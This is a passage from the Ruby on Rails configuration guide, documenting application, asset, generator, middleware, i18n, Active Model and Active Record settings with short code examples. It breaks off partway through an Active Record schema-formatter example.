#### [3.2.20. `config.content_security_policy_nonce_generator`](#config-content-security-policy-nonce-generator)

See [Adding a Nonce](security.html#adding-a-nonce) in the Security Guide

#### [3.2.21. `config.content_security_policy_report_only`](#config-content-security-policy-report-only)

See [Reporting Violations](security.html#reporting-violations) in the Security Guide

#### [3.2.22. `config.credentials.content_path`](#config-credentials-content-path)

The path of the encrypted credentials file.

Defaults to `config/credentials/#{Rails.env}.yml.enc` if it exists, or `config/credentials.yml.enc` otherwise.

In order for the `bin/rails credentials` commands to recognize this value, it must be set in `config/application.rb` or `config/environments/#{Rails.env}.rb`.

#### [3.2.23. `config.credentials.key_path`](#config-credentials-key-path)

The path of the encrypted credentials key file.

Defaults to `config/credentials/#{Rails.env}.key` if it exists, or `config/master.key` otherwise.

In order for the `bin/rails credentials` commands to recognize this value, it must be set in `config/application.rb` or `config/environments/#{Rails.env}.rb`.

#### [3.2.24. `config.debug_exception_response_format`](#config-debug-exception-response-format)

Sets the format used in responses when errors occur in the development environment. Defaults to `:api` for API only apps and `:default` for normal apps.

#### [3.2.25. `config.disable_sandbox`](#config-disable-sandbox)

Controls whether or not someone can start a console in sandbox mode. This is helpful to avoid a long running session of sandbox console, that could lead a database server to run out of memory. Defaults to `false`.

#### [3.2.26. `config.dom_testing_default_html_version`](#config-dom-testing-default-html-version)

Controls whether an HTML4 parser or an HTML5 parser is used by default by the test helpers in Action View, Action Dispatch, and `rails-dom-testing`.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:html4`             |
| 7.1                   | `:html5` (see NOTE)  |

Nokogiri's HTML5 parser is not supported on JRuby, so on JRuby platforms Rails will fall back to `:html4`.

#### [3.2.27. `config.eager_load`](#config-eager-load)

When `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks, and any other registered namespace.

#### [3.2.28. `config.eager_load_namespaces`](#config-eager-load-namespaces)

Registers namespaces that are eager loaded when `config.eager_load` is set to `true`. All namespaces in the list must respond to the `eager_load!` method.

#### [3.2.29. `config.eager_load_paths`](#config-eager-load-paths)

Accepts an array of paths from which Rails will eager load on boot if `config.eager_load` is true. Defaults to every folder in the `app` directory of the application.

#### [3.2.30. `config.enable_reloading`](#config-enable-reloading)

If `config.enable_reloading` is true, application classes and modules are reloaded in between web requests if they change. Defaults to `true` in the `development` environment, and `false` in the `production` environment.

The predicate `config.reloading_enabled?` is also defined.

#### [3.2.31. `config.encoding`](#config-encoding)

Sets up the application-wide encoding. Defaults to UTF-8.

#### [3.2.32. `config.exceptions_app`](#config-exceptions-app)

Sets the exceptions application invoked by the `ShowException` middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.

#### [3.2.33. `config.file_watcher`](#config-file-watcher)

Is the class used to detect file updates in the file system when `config.reload_classes_only_on_change` is `true`. Rails ships with `ActiveSupport::FileUpdateChecker`, the default, and `ActiveSupport::EventedFileUpdateChecker`. Custom classes must conform to the `ActiveSupport::FileUpdateChecker` API.

Using `ActiveSupport::EventedFileUpdateChecker` depends on the [listen](https://github.com/guard/listen) gem:

```
group :development do
  gem "listen", "~> 3.5"
end
```

On Linux and macOS no additional gems are needed, but some are required [for \*BSD](https://github.com/guard/listen#on-bsd) and [for Windows](https://github.com/guard/listen#on-windows).

Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations).

#### [3.2.34. `config.filter_parameters`](#config-filter-parameters)

Used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers. It also filters out sensitive values of database columns when calling `#inspect` on an Active Record object. By default, Rails filters out passwords by adding the following filters in `config/initializers/filter_parameter_logging.rb`.

```
Rails.application.config.filter_parameters += [
  :passw, :email, :secret, :token, :_key, :crypt, :salt, :certificate, :otp, :ssn, :cvv, :cvc
]
```

Parameters filter works by partial matching regular expression.

#### [3.2.35. `config.filter_redirect`](#config-filter-redirect)

Used for filtering out redirect urls from application logs.

```
Rails.application.config.filter_redirect += ["s3.amazonaws.com", /private-match/]
```

The redirect filter works by testing that urls include strings or match regular expressions.

#### [3.2.36. `config.force_ssl`](#config-force-ssl)

Forces all requests to be served over HTTPS, and sets "https\://" as the default protocol when generating URLs. Enforcement of HTTPS is handled by the `ActionDispatch::SSL` middleware, which can be configured via `config.ssl_options`.

#### [3.2.37. `config.helpers_paths`](#config-helpers-paths)

Defines an array of additional paths to load view helpers.

#### [3.2.38. `config.host_authorization`](#config-host-authorization)

Accepts a hash of options to configure the [HostAuthorization middleware](#actiondispatch-hostauthorization)

#### [3.2.39. `config.hosts`](#config-hosts)

An array of strings, regular expressions, or `IPAddr` used to validate the `Host` header. Used by the [HostAuthorization middleware](#actiondispatch-hostauthorization) to help prevent DNS rebinding attacks.

#### [3.2.40. `config.javascript_path`](#config-javascript-path)

Sets the path where your app's JavaScript lives relative to the `app` directory and the default value is `javascript`. An app's configured `javascript_path` will be excluded from `autoload_paths`.

#### [3.2.41. `config.log_file_size`](#config-log-file-size)

Defines the maximum size of the Rails log file in bytes. Defaults to `104_857_600` (100 MiB) in development and test, and unlimited in all other environments.

#### [3.2.42. `config.log_formatter`](#config-log-formatter)

Defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all environments. If you are setting a value for `config.logger` you must manually pass the value of your formatter to your logger before it is wrapped in an `ActiveSupport::TaggedLogging` instance, Rails will not do it for you.

#### [3.2.43. `config.log_level`](#config-log-level)

Defines the verbosity of the Rails logger. This option defaults to `:debug` for all environments except production, where it defaults to `:info`. The available log levels are: `:debug`, `:info`, `:warn`, `:error`, `:fatal`, and `:unknown`.

#### [3.2.44. `config.log_tags`](#config-log-tags)

Accepts a list of methods that the `request` object responds to, a `Proc` that accepts the `request` object, or something that responds to `to_s`. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications.

#### [3.2.45. `config.logger`](#config-logger)

Is the logger that will be used for `Rails.logger` and any related Rails logging such as `ActiveRecord::Base.logger`. It defaults to an instance of `ActiveSupport::TaggedLogging` that wraps an instance of `ActiveSupport::Logger` which outputs a log to the `log/` directory. You can supply a custom logger, to get full compatibility you must follow these guidelines:

* To support a formatter, you must manually assign a formatter from the `config.log_formatter` value to the logger.
* To support tagged logs, the log instance must be wrapped with `ActiveSupport::TaggedLogging`.
* To support silencing, the logger must include `ActiveSupport::LoggerSilence` module. The `ActiveSupport::Logger` class already includes these modules.

```
class MyLogger < ::Logger
  include ActiveSupport::LoggerSilence
end

mylogger           = MyLogger.new(STDOUT)
mylogger.formatter = config.log_formatter
config.logger      = ActiveSupport::TaggedLogging.new(mylogger)
```

#### [3.2.46. `config.middleware`](#config-middleware)

Allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below.

#### [3.2.47. `config.precompile_filter_parameters`](#config-precompile-filter-parameters)

When `true`, will precompile [`config.filter_parameters`](#config-filter-parameters) using [`ActiveSupport::ParameterFilter.precompile_filters`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/ParameterFilter.html#method-c-precompile_filters).

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.1                   | `true`               |

#### [3.2.48. `config.public_file_server.enabled`](#config-public-file-server-enabled)

Configures whether Rails should serve static files from the public directory. Defaults to `true`.

If the server software (e.g. NGINX or Apache) should serve static files instead, set this value to `false`.

#### [3.2.49. `config.railties_order`](#config-railties-order)

Allows manually specifying the order that Railties/Engines are loaded. The default value is `[:all]`.

```
config.railties_order = [Blog::Engine, :main_app, :all]
```

#### [3.2.50. `config.rake_eager_load`](#config-rake-eager-load)

When `true`, eager load the application when running Rake tasks. Defaults to `false`.

#### [3.2.51. `config.relative_url_root`](#config-relative-url-root)

Can be used to tell Rails that you are [deploying to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root). The default is `ENV['RAILS_RELATIVE_URL_ROOT']`.

#### [3.2.52. `config.reload_classes_only_on_change`](#config-reload-classes-only-on-change)

Enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to `true`. If `config.enable_reloading` is `false`, this option is ignored.

#### [3.2.53. `config.require_master_key`](#config-require-master-key)

Causes the app to not boot if a master key hasn't been made available through `ENV["RAILS_MASTER_KEY"]` or the `config/master.key` file.

#### [3.2.54. `config.sandbox_by_default`](#config-sandbox-by-default)

When `true`, Rails console starts in sandbox mode by default, and `--no-sandbox` must be specified to start Rails console without sandbox mode. This helps prevent accidental writes to production databases. Defaults to `false`.

#### [3.2.55. `config.secret_key_base`](#config-secret-key-base)

The fallback for specifying the input secret for an application's key generator. It is recommended to leave this unset, and instead to specify a `secret_key_base` in `config/credentials.yml.enc`. See the [`secret_key_base` API documentation](https://api.rubyonrails.org/v8.1.4/classes/Rails/Application.html#method-i-secret_key_base) for more information and alternative configuration methods.

#### [3.2.56. `config.server_timing`](#config-server-timing)

When `true`, adds the [`ServerTiming` middleware](#actiondispatch-servertiming) to the middleware stack. Defaults to `false`, but is set to `true` in the default generated `config/environments/development.rb` file.

#### [3.2.57. `config.session_options`](#config-session-options)

Additional options passed to `config.session_store`. You should use `config.session_store` to set this instead of modifying it yourself.

```
config.session_store :cookie_store, key: "_your_app_session"
config.session_options # => {key: "_your_app_session"}
```

#### [3.2.58. `config.session_store`](#config-session-store)

Specifies what class to use to store the session. Possible values are `:cache_store`, `:cookie_store`, `:mem_cache_store`, a custom store, or `:disabled`. `:disabled` tells Rails not to deal with sessions.

This setting is configured via a regular method call, rather than a setter. This allows additional options to be passed:

```
config.session_store :cookie_store, key: "_your_app_session"
```

If a custom store is specified as a symbol, it will be resolved to the `ActionDispatch::Session` namespace:

```
# use ActionDispatch::Session::MyCustomStore as the session store
config.session_store :my_custom_store
```

The default store is a cookie store with the application name as the session key.

#### [3.2.59. `config.silence_healthcheck_path`](#config-silence-healthcheck-path)

Specifies the path of the health check that should be silenced in the logs. Uses `Rails::Rack::SilenceRequest` to implement the silencing. All in service of keeping health checks from clogging the production logs, especially for early-stage applications.

```
config.silence_healthcheck_path = "/up"
```

#### [3.2.60. `config.ssl_options`](#config-ssl-options)

Configuration options for the [`ActionDispatch::SSL`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/SSL.html) middleware.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is             |
| --------------------- | -------------------------------- |
| (original)            | `{}`                             |
| 5.0                   | `{ hsts: { subdomains: true } }` |

#### [3.2.61. `config.time_zone`](#config-time-zone)

Sets the default time zone for the application and enables time zone awareness for Active Record.

#### [3.2.62. `config.x`](#config-x)

Used to easily add nested custom configuration to the application config object

```
  config.x.payment_processing.schedule = :daily
  Rails.configuration.x.payment_processing.schedule # => :daily
```

See [Custom Configuration](#custom-configuration)

#### [3.2.63. `config.yjit`](#config-yjit)

Enables YJIT as of Ruby 3.3, to bring sizeable performance improvements. If you are deploying to a memory constrained environment you may want to set this to `false`. Additionally, you can pass a hash to configure YJIT options such as `{ stats: true }`.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.2                   | `true`               |
| 8.1                   | `!Rails.env.local?`  |

### [3.3. Configuring Assets](#configuring-assets)

#### [3.3.1. `config.assets.css_compressor`](#config-assets-css-compressor)

Defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.

#### [3.3.2. `config.assets.js_compressor`](#config-assets-js-compressor)

Defines the JavaScript compressor to use. Possible values are `:terser`, `:closure`, `:uglifier`, and `:yui`, which require the use of the `terser`, `closure-compiler`, `uglifier`, or `yui-compressor` gems respectively.

#### [3.3.3. `config.assets.gzip`](#config-assets-gzip)

A flag that enables the creation of gzipped version of compiled assets, along with non-gzipped assets. Set to `true` by default.

#### [3.3.4. `config.assets.paths`](#config-assets-paths)

Contains the paths which are used to look for assets. Appending paths to this configuration option will cause those paths to be used in the search for assets.

#### [3.3.5. `config.assets.precompile`](#config-assets-precompile)

Allows you to specify additional assets (other than `application.css` and `application.js`) which are to be precompiled when `bin/rails assets:precompile` is run.

#### [3.3.6. `config.assets.unknown_asset_fallback`](#config-assets-unknown-asset-fallback)

Allows you to modify the behavior of the asset pipeline when an asset is not in the pipeline, if you use sprockets-rails 3.2.0 or newer.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 5.1                   | `false`              |

#### [3.3.7. `config.assets.prefix`](#config-assets-prefix)

Defines the prefix where assets are served from. Defaults to `/assets`.

#### [3.3.8. `config.assets.manifest`](#config-assets-manifest)

Defines the full path to be used for the asset precompiler's manifest file. Defaults to a file named `manifest-<random>.json` in the `config.assets.prefix` directory within the public folder.

#### [3.3.9. `config.assets.digest`](#config-assets-digest)

Enables the use of SHA256 fingerprints in asset names. Set to `true` by default.

#### [3.3.10. `config.assets.debug`](#config-assets-debug)

Disables the concatenation and compression of assets.

#### [3.3.11. `config.assets.version`](#config-assets-version)

Is an option string that is used in SHA256 hash generation. This can be changed to force all files to be recompiled.

#### [3.3.12. `config.assets.compile`](#config-assets-compile)

Is a boolean that can be used to turn on live Sprockets compilation in production.

#### [3.3.13. `config.assets.logger`](#config-assets-logger)

Accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to the same configured at `config.logger`. Setting `config.assets.logger` to `false` will turn off served assets logging.

#### [3.3.14. `config.assets.quiet`](#config-assets-quiet)

Disables logging of assets requests. Set to `true` by default in `config/environments/development.rb`.

### [3.4. Configuring Generators](#configuring-generators)

Rails allows you to alter what generators are used with the `config.generators` method. This method takes a block:

```
config.generators do |g|
  g.orm :active_record
  g.test_framework :test_unit
end
```

The full set of methods that can be used in this block are as follows:

* `force_plural` allows pluralized model names. Defaults to `false`.
* `helper` defines whether or not to generate helpers. Defaults to `true`.
* `integration_tool` defines which integration tool to use to generate integration tests. Defaults to `:test_unit`.
* `system_tests` defines which integration tool to use to generate system tests. Defaults to `:test_unit`.
* `orm` defines which orm to use. Defaults to `false` and will use Active Record by default.
* `resource_controller` defines which generator to use for generating a controller when using `bin/rails generate resource`. Defaults to `:controller`.
* `resource_route` defines whether a resource route definition should be generated or not. Defaults to `true`.
* `scaffold_controller` different from `resource_controller`, defines which generator to use for generating a *scaffolded* controller when using `bin/rails generate scaffold`. Defaults to `:scaffold_controller`.
* `test_framework` defines which test framework to use. Defaults to `false` and will use minitest by default.
* `template_engine` defines which template engine to use, such as ERB or Haml. Defaults to `:erb`.
* `apply_rubocop_autocorrect_after_generate!` applies RuboCop's autocorrect feature after Rails generators are run.

### [3.5. Configuring Middleware](#configuring-middleware)

Every Rails application comes with a standard set of middleware which it uses in this order in the development environment:

#### [3.5.1. `ActionDispatch::HostAuthorization`](#actiondispatch-hostauthorization)

Prevents against DNS rebinding and other `Host` header attacks. It is included in the development environment by default with the following configuration:

```
Rails.application.config.hosts = [
  IPAddr.new("0.0.0.0/0"),        # All IPv4 addresses.
  IPAddr.new("::/0"),             # All IPv6 addresses.
  "localhost",                    # The localhost reserved domain.
  ENV["RAILS_DEVELOPMENT_HOSTS"]  # Additional comma-separated hosts for development.
]
```

In other environments `Rails.application.config.hosts` is empty and no `Host` header checks will be done. If you want to guard against header attacks on production, you have to manually permit the allowed hosts with:

```
Rails.application.config.hosts << "product.com"
```

The host of a request is checked against the `hosts` entries with the case operator (`#===`), which lets `hosts` support entries of type `Regexp`, `Proc` and `IPAddr` to name a few. Here is an example with a regexp.

```
# Allow requests from subdomains like `www.product.com` and
# `beta1.product.com`.
Rails.application.config.hosts << /.*\.product\.com/
```

The provided regexp will be wrapped with both anchors (`\A` and `\z`) so it must match the entire hostname. `/product.com/`, for example, once anchored, would fail to match `www.product.com`.

A special case is supported that allows you to permit the domain and all sub-domains:

```
# Allow requests from the domain itself `product.com` and subdomains like `www.product.com` and `beta1.product.com`.
Rails.application.config.hosts << ".product.com"
```

You can exclude certain requests from Host Authorization checks by setting `config.host_authorization.exclude`:

```
# Exclude requests for the /healthcheck/ path from host checking
Rails.application.config.host_authorization = {
  exclude: ->(request) { request.path.include?("healthcheck") }
}
```

When a request comes to an unauthorized host, a default Rack application will run and respond with `403 Forbidden`. This can be customized by setting `config.host_authorization.response_app`. For example:

```
Rails.application.config.host_authorization = {
  response_app: -> env do
    [400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
  end
}
```

#### [3.5.2. `ActionDispatch::ServerTiming`](#actiondispatch-servertiming)

Adds the [`Server-Timing`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Server-Timing) header to the response, which includes performance metrics from the server. This data can be viewed by inspecting the response in the Network panel of the browser's Developer Tools. Most browsers provide a Timing tab that visualizes the data.

#### [3.5.3. `ActionDispatch::SSL`](#actiondispatch-ssl)

Forces every request to be served using HTTPS. Enabled if `config.force_ssl` is set to `true`. Options passed to this can be configured by setting `config.ssl_options`.

#### [3.5.4. `ActionDispatch::Static`](#actiondispatch-static)

Is used to serve static assets. Disabled if `config.public_file_server.enabled` is `false`. Set `config.public_file_server.index_name` if you need to serve a static directory index file that is not named `index`. For example, to serve `main.html` instead of `index.html` for directory requests, set `config.public_file_server.index_name` to `"main"`.

#### [3.5.5. `ActionDispatch::Executor`](#actiondispatch-executor)

Allows thread safe code reloading. Disabled if `config.allow_concurrency` is `false`, which causes `Rack::Lock` to be loaded. `Rack::Lock` wraps the app in mutex so it can only be called by a single thread at a time.

#### [3.5.6. `ActiveSupport::Cache::Strategy::LocalCache`](#activesupport-cache-strategy-localcache)

Serves as a basic memory backed cache. This cache is not thread safe and is intended only for serving as a temporary memory cache for a single thread.

#### [3.5.7. `Rack::Runtime`](#rack-runtime)

Sets an `X-Runtime` header, containing the time (in seconds) taken to execute the request.

#### [3.5.8. `Rails::Rack::Logger`](#rails-rack-logger)

Notifies the logs that the request has begun. After request is complete, flushes all the logs.

#### [3.5.9. `ActionDispatch::ShowExceptions`](#actiondispatch-showexceptions)

Rescues any exception returned by the application and renders nice exception pages if the request is local or if `config.consider_all_requests_local` is set to `true`. If `config.action_dispatch.show_exceptions` is set to `:none`, exceptions will be raised regardless.

#### [3.5.10. `ActionDispatch::RequestId`](#actiondispatch-requestid)

Makes a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. Configurable with `config.action_dispatch.request_id_header`.

#### [3.5.11. `ActionDispatch::RemoteIp`](#actiondispatch-remoteip)

Checks for IP spoofing attacks and gets valid `client_ip` from request headers. Configurable with the `config.action_dispatch.ip_spoofing_check`, and `config.action_dispatch.trusted_proxies` options.

#### [3.5.12. `Rack::Sendfile`](#rack-sendfile)

Intercepts responses whose body is being served from a file and replaces it with a server specific X-Sendfile header. Configurable with `config.action_dispatch.x_sendfile_header`.

#### [3.5.13. `ActionDispatch::Callbacks`](#actiondispatch-callbacks)

Runs the prepare callbacks before serving the request.

#### [3.5.14. `ActionDispatch::Cookies`](#actiondispatch-cookies)

Sets cookies for the request.

#### [3.5.15. `ActionDispatch::Session::CookieStore`](#actiondispatch-session-cookiestore)

Is responsible for storing the session in cookies. An alternate middleware can be used for this by changing [`config.session_store`](#config-session-store).

#### [3.5.16. `ActionDispatch::Flash`](#actiondispatch-flash)

Sets up the `flash` keys. Only available if [`config.session_store`](#config-session-store) is set to a value.

#### [3.5.17. `Rack::MethodOverride`](#rack-methodoverride)

Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PATCH, PUT, and DELETE HTTP method types.

#### [3.5.18. `Rack::Head`](#rack-head)

Returns an empty body for all HEAD requests. It leaves all other requests unchanged.

#### [3.5.19. Adding Custom Middleware](#adding-custom-middleware)

Besides these usual middleware, you can add your own by using the `config.middleware.use` method:

```
config.middleware.use Magical::Unicorns
```

This will put the `Magical::Unicorns` middleware on the end of the stack. You can use `insert_before` if you wish to add a middleware before another.

```
config.middleware.insert_before Rack::Head, Magical::Unicorns
```

Or you can insert a middleware to exact position by using indexes. For example, if you want to insert `Magical::Unicorns` middleware on top of the stack, you can do it, like so:

```
config.middleware.insert_before 0, Magical::Unicorns
```

There's also `insert_after` which will insert a middleware after another:

```
config.middleware.insert_after Rack::Head, Magical::Unicorns
```

Middlewares can also be completely swapped out and replaced with others:

```
config.middleware.swap ActionController::Failsafe, Lifo::Failsafe
```

Middlewares can be moved from one place to another:

```
config.middleware.move_before ActionDispatch::Flash, Magical::Unicorns
```

This will move the `Magical::Unicorns` middleware before `ActionDispatch::Flash`. You can also move it after:

```
config.middleware.move_after ActionDispatch::Flash, Magical::Unicorns
```

They can also be removed from the stack completely:

```
config.middleware.delete Rack::MethodOverride
```

### [3.6. Configuring i18n](#configuring-i18n)

All these configuration options are delegated to the `I18n` library.

#### [3.6.1. `config.i18n.available_locales`](#config-i18n-available-locales)

Defines the permitted available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.

#### [3.6.2. `config.i18n.default_locale`](#config-i18n-default-locale)

Sets the default locale of an application used for i18n. Defaults to `:en`.

#### [3.6.3. `config.i18n.enforce_available_locales`](#config-i18n-enforce-available-locales)

Ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.

#### [3.6.4. `config.i18n.load_path`](#config-i18n-load-path)

Sets the path Rails uses to look for locale files. Defaults to `config/locales/**/*.{yml,rb}`.

#### [3.6.5. `config.i18n.raise_on_missing_translations`](#config-i18n-raise-on-missing-translations)

Determines whether an error should be raised for missing translations. If `true`, views and controllers raise `I18n::MissingTranslationData`. If `:strict`, models also raise the error. This defaults to `false`.

#### [3.6.6. `config.i18n.fallbacks`](#config-i18n-fallbacks)

Sets fallback behavior for missing translations. Here are 3 usage examples for this option:

* You can set the option to `true` for using default locale as fallback, like so:

  ```
  config.i18n.fallbacks = true
  ```

* Or you can set an array of locales as fallback, like so:

  ```
  config.i18n.fallbacks = [:tr, :en]
  ```

* Or you can set different fallbacks for locales individually. For example, if you want to use `:tr` for `:az` and `:de`, `:en` for `:da` as fallbacks, you can do it, like so:

  ```
  config.i18n.fallbacks = { az: :tr, da: [:de, :en] }
  #or
  config.i18n.fallbacks.map = { az: :tr, da: [:de, :en] }
  ```

### [3.7. Configuring Active Model](#configuring-active-model)

#### [3.7.1. `config.active_model.i18n_customize_full_message`](#config-active-model-i18n-customize-full-message)

Controls whether the [`Error#full_message`](https://api.rubyonrails.org/v8.1.4/classes/ActiveModel/Error.html#method-i-full_message) format can be overridden in an i18n locale file. Defaults to `false`.

When set to `true`, `full_message` will look for a format at the attribute and model level of the locale files. The default format is `"%{attribute} %{message}"`, where `attribute` is the name of the attribute, and `message` is the validation-specific message. The following example overrides the format for all `Person` attributes, as well as the format for a specific `Person` attribute (`age`).

```
class Person
  include ActiveModel::Validations

  attr_accessor :name, :age

  validates :name, :age, presence: true
end
```

```
en:
  activemodel: # or activerecord:
    errors:
      models:
        person:
          # Override the format for all Person attributes:
          format: "Invalid %{attribute} (%{message})"
          attributes:
            age:
              # Override the format for the age attribute:
              format: "%{message}"
              blank: "Please fill in your %{attribute}"
```

```
irb> person = Person.new.tap(&:valid?)

irb> person.errors.full_messages
=> [
  "Invalid Name (can't be blank)",
  "Please fill in your Age"
]

irb> person.errors.messages
=> {
  :name => ["can't be blank"],
  :age  => ["Please fill in your Age"]
}
```

### [3.8. Configuring Active Record](#configuring-active-record)

`config.active_record` includes a variety of configuration options:

#### [3.8.1. `config.active_record.logger`](#config-active-record-logger)

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling `logger` on either an Active Record model class or an Active Record model instance. Set to `nil` to disable logging.

#### [3.8.2. `config.active_record.primary_key_prefix_type`](#config-active-record-primary-key-prefix-type)

Lets you adjust the naming for primary key columns. By default, Rails assumes that primary key columns are named `id` (and this configuration option doesn't need to be set). There are two other choices:

* `:table_name` would make the primary key for the Customer class `customerid`.
* `:table_name_with_underscore` would make the primary key for the Customer class `customer_id`.

#### [3.8.3. `config.active_record.table_name_prefix`](#config-active-record-table-name-prefix)

Lets you set a global string to be prepended to table names. If you set this to `northwest_`, then the Customer class will look for `northwest_customers` as its table. The default is an empty string.

#### [3.8.4. `config.active_record.table_name_suffix`](#config-active-record-table-name-suffix)

Lets you set a global string to be appended to table names. If you set this to `_northwest`, then the Customer class will look for `customers_northwest` as its table. The default is an empty string.

#### [3.8.5. `config.active_record.schema_migrations_table_name`](#config-active-record-schema-migrations-table-name)

Lets you set a string to be used as the name of the schema migrations table.

#### [3.8.6. `config.active_record.internal_metadata_table_name`](#config-active-record-internal-metadata-table-name)

Lets you set a string to be used as the name of the internal metadata table.

#### [3.8.7. `config.active_record.protected_environments`](#config-active-record-protected-environments)

Lets you set an array of names of environments where destructive actions should be prohibited.

#### [3.8.8. `config.active_record.pluralize_table_names`](#config-active-record-pluralize-table-names)

Specifies whether Rails will look for singular or plural table names in the database. If set to `true` (the default), then the Customer class will use the `customers` table. If set to `false`, then the Customer class will use the `customer` table.

Some Rails generators and installers (notably `active_storage:install` and `action_text:install`) create tables with plural names regardless of this setting. If you set `pluralize_table_names` to `false`, you will need to manually rename those tables after installation to maintain consistency. This limitation exists because these installers use fixed table names in their migrations for compatibility reasons.

#### [3.8.9. `config.active_record.default_timezone`](#config-active-record-default-timezone)

Determines whether to use `Time.local` (if set to `:local`) or `Time.utc` (if set to `:utc`) when pulling dates and times from the database. The default is `:utc`.

#### [3.8.10. `config.active_record.schema_format`](#config-active-record-schema-format)

Controls the format for dumping the database schema to a file. The options are `:ruby` (the default) for a database-independent version that depends on migrations, or `:sql` for a set of (potentially database-dependent) SQL statements. This can be overridden per-database by setting `schema_format` in your database configuration.

#### [3.8.11. `config.active_record.error_on_ignored_order`](#config-active-record-error-on-ignored-order)

Specifies if an error should be raised if the order of a query is ignored during a batch query. The options are `true` (raise error) or `false` (warn). Default is `false`.

#### [3.8.12. `config.active_record.timestamped_migrations`](#config-active-record-timestamped-migrations)

Controls whether migrations are numbered with serial integers or with timestamps. The default is `true`, to use timestamps, which are preferred if there are multiple developers working on the same application.

#### [3.8.13. `config.active_record.automatically_invert_plural_associations`](#config-active-record-automatically-invert-plural-associations)

Controls whether Active Record will automatically look for inverse relations with a pluralized name.

Example:

```
class Post < ApplicationRecord
  has_many :comments
end

class Comment < ApplicationRecord
  belongs_to :post
end
```

In the above case Active Record used to only look for a `:comment` (singular) association in `Post`, and won't find it.

With this option enabled, it will also look for a `:comments` association. In the vast majority of cases having the inverse association discovered is beneficial as it can prevent some useless queries, but it may cause backward compatibility issues with legacy code that doesn't expect it.

This behavior can be disabled on a per-model basis:

```
class Comment < ApplicationRecord
  self.automatically_invert_plural_associations = false

  belongs_to :post
end
```

And on a per-association basis:

```
class Comment < ApplicationRecord
  self.automatically_invert_plural_associations = true

  belongs_to :post, inverse_of: nil
end
```

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |

#### [3.8.14. `config.active_record.validate_migration_timestamps`](#config-active-record-validate-migration-timestamps)

Controls whether to validate migration timestamps. When set, an error will be raised if the timestamp prefix for a migration is more than a day ahead of the timestamp associated with the current time. This is done to prevent forward-dating of migration files, which can impact migration generation and other migration commands. `config.active_record.timestamped_migrations` must be set to `true`.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.2                   | `true`               |

#### [3.8.15. `config.active_record.db_warnings_action`](#config-active-record-db-warnings-action)

Controls the action to be taken when an SQL query produces a warning. The following options are available:

* `:ignore` - Database warnings will be ignored. This is the default.

* `:log` - Database warnings will be logged via `ActiveRecord.logger` at the `:warn` level.

* `:raise` - Database warnings will be raised as `ActiveRecord::SQLWarning`.

* `:report` - Database warnings will be reported to subscribers of Rails' error reporter.

* Custom proc - A custom proc can be provided. It should accept a `SQLWarning` error object.

  For example:

  ```
  config.active_record.db_warnings_action = ->(warning) do
    # Report to custom exception reporting service
    Bugsnag.notify(warning.message) do |notification|
      notification.add_metadata(:warning_code, warning.code)
      notification.add_metadata(:warning_level, warning.level)
    end
  end
  ```

#### [3.8.16. `config.active_record.db_warnings_ignore`](#config-active-record-db-warnings-ignore)

Specifies an allowlist of warning codes and messages that will be ignored, regardless of the configured `db_warnings_action`. The default behavior is to report all warnings. Warnings to ignore can be specified as Strings or Regexps. For example:

```
  config.active_record.db_warnings_action = :raise
  # The following warnings will not be raised
  config.active_record.db_warnings_ignore = [
    /Invalid utf8mb4 character string/,
    "An exact warning message",
    "1062", # MySQL Error 1062: Duplicate entry
  ]
```

#### [3.8.17. `config.active_record.migration_strategy`](#config-active-record-migration-strategy)

Controls the strategy class used to perform schema statement methods in a migration. The default class delegates to the connection adapter. Custom strategies should inherit from `ActiveRecord::Migration::ExecutionStrategy`, or may inherit from `DefaultStrategy`, which will preserve the default behavior for methods that aren't implemented:

```
class CustomMigrationStrategy < ActiveRecord::Migration::DefaultStrategy
  def drop_table(*)
    raise "Dropping tables is not supported!"
  end
end

config.active_record.migration_strategy = CustomMigrationStrategy
```

#### [3.8.18. `config.active_record.schema_versions_formatter`](#config-active-record-schema-versions-formatter)

Controls the formatter class used by schema dumper to format versions information. Custom class can be provided to change the default behavior:

```
class CustomSchemaVersionsFormatter
  def initialize(connection)
    @connection = connection
  end

  def format(versions)
    # Special sorting of versions to reduce the likelihood of conflicts.
    sorted_versions = versions.sort { |a, b| b.to_s.reverse <=> a.to_s.reverse }

    sql = +"INSERT INTO schema_migrations (version) VALUES\n"
    sql << sorted_versions.map { |v| "(#{@connection.quote(v)})" }.join(",\n")
    sql << ";"
    sql
  end
end

